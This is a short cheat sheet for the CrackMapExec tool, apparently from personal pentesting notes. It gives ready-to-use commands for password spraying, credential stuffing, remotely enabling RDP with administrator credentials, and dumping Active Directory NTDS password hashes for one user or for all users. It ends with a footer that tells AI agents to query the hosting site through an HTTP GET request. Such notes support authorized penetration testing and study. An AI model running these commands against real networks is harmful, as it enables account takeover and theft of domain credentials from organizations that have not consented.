# CrackMapExec

## Enumeration

### Password Spraying

```
crackmapexec smb IP-RANGO -u usuarios.txt -p "Password123" -d deimcorp.local
```

> Este ataque se usa cuando sospechas que varios usuarios pueden estar usando la misma contraseña.

***

## Connecction

### Command execution

```
crackmapexec smb IP_RANGO -u 'Administrador' -p 'P@ssw0rd!' -M rdp -o action=enable
```

> `-M rdp`: Usa el módulo RDP.
>
> `-o ACTION=enable`: Indica la acción a realizar, habilitar **Remote Desktop Protocol (RDP)**.

#### Only One User

```
crackmapexec smb AD_IP -u 'Administrador' -p 'P@ssw0rd!' --ntds vss --user 'victima'
```

#### All Users AD

```
crackmapexec smb AD_IP -u 'Administrador' -p 'P@ssw0rd!' -M ntdsutil
```

***

## Brute Force

### Credential Stuffing

```
crackmapexec smb IP-RANGO -u usuarios.txt -p passwords.txt -d deimcorp.local
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/others/tools/crackmapexec.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
